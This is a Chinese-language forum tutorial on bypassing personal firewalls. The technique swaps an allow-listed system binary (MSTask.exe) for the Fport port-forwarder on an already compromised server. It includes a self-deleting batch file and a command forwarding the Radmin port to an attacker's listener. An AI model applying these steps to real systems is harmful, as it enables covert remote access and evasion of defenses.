一直以来都有一个梦想:偶要是能发现些漏洞或BUG什么的该多好啊!于是整天对着电脑瞎弄瞎研究,研究什么呢?研究如何突破防火墙(偶这里指的防火墙是软体型的个人防火墙,硬件的偶也没条件。)嘿嘿,你还别说,还真没白研究,还真给偶发现了大多数防火墙的通病。这个BUG能让我们欺骗防火墙来达到访外的目的,具体情况是怎么样的呢?请看下面的解说!
首先,我要介绍一下Windows系统特性,当一个程序运行时,它不能删除,但却能够改名!而当系统里的被保护程序遭到删除或损坏或改名时系统就会及时调用备份文件给予还原!我再讲讲防火墙,大家都知道许多防火墙的“应用程序规则”里一般默认就会让IE浏览器(iexplore.exe)、Outlook Express(msimn.exe)、lsass.exe、spoolsv.exe、MSTask.exe、winlogon.exe、services.exe、svchost.exe通过,而大多的防火墙认为只要是与规则里的路径及文件名相同就Pass!以这样的检测方法来决定是否放行,但它却完全没考虑到如果是别的文件替换的呢?――就相当于古装片里的易容术,易容后就认不得了!这就给了我们机会,我们可以利用这个BUG来欺骗防火墙来达到访外的目的!
小知识:其实现在大多木马采用的DLL插线程技术也就是利用了这个原理,它们首先隐蔽的开启一个认证放行的程序进程(如Iexplore.exe进程),接着把DLL型木马插入这个线程内,然后访外时就可轻松突破防火墙的限制了――因为防火墙是不会拦截已认证放行的程序的。
原理讲完了,我们现在讲讲该如何利用这个BUG了!这里我用虚拟机做实验,制造如下条件:
为了更符合现实,我给服务器安装了“天网防火墙”、Radmin(但由于防火墙指定了访问IP地址,所以没办法正常连接!),MSSQL SERVER、Serv-u.首先我们用常用的方法进行端口转发,看看防火墙有什么反应!
第一步,启用AngelShell Ver 1.0里的Fport(用来进行端口转发的服务端,几乎可以转发任何端口),然后在本地用FportClient(用来进行端口转发的客户端)监听好!
第二步,直接在CMDSHELL里运行“e:\www\fport.exe 4899 192.168.1.1 7788”,这时我们看到虚拟机里的“天网”对Fport马上进行了拦截。
看到了吧!由于Fport并不是认证放行的,防火墙马上就进行了拦截!OK,现在我们实行欺骗计划,看偶如何突破防火墙的!还是执行第一步,然后新建一个批处理,内容如下:
ren MSTask.exe MSTask1.exe
ren fport.exe MSTask.exe
MSTask.exe 4899 192.168.1.1 7788
Del %0
命名为go.bat,接着用SqlRootKit把“Fport.exe”和go.bat 一起copy到目标机子的c:\winnt\system32\(也就是MSTask所在的目录)在SqlRootKit里执行go.bat(注意如果要改MSTask.exe的名的话就需要有管理员权限)。
当FportClient出现“已经接受到远程计算机的连接!”时,用Radmin客户端连接本机的4899端口。
我们已经成功突破限制(由于防火墙没有限制本地连接4899端口,我们用Fport转发了它的端口,登录时等于本地连接,因此我们能够成功连接),这样一来,我们本不能逃过防火墙的Fport便变成了一个有“插线程”技术的端口转发工具了!
据我实验,国内的防火墙几乎无一例外的“拥有”这个BUG!虽然这个BUG不会带来什么大的危害,但总是给入侵者多了一个黑我们的机会!
WTF老大说独乐乐不如众乐乐,所以我还是公布出来了,一是可以让我们国内的防火墙有所改进,二是给网管们提个醒!由于小弟技术有限,难免会出现错误,欢迎各位指正批评。